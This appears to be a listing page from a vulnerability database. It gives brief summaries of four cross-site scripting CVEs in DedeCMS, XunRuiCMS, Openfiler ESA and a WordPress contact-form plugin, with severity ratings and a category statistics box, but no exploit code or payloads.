DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Dedecms
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

XunRuiCMS v4.5.5 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component /admin.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Xunruicms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in Openfiler ESA v2.99.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the nic parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openfiler
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Contact Form Email WordPress plugin before 1.3.44 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Contact Form Email +1
NVD WPScan
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40870

Related CWEs

MITRE ATT&CK

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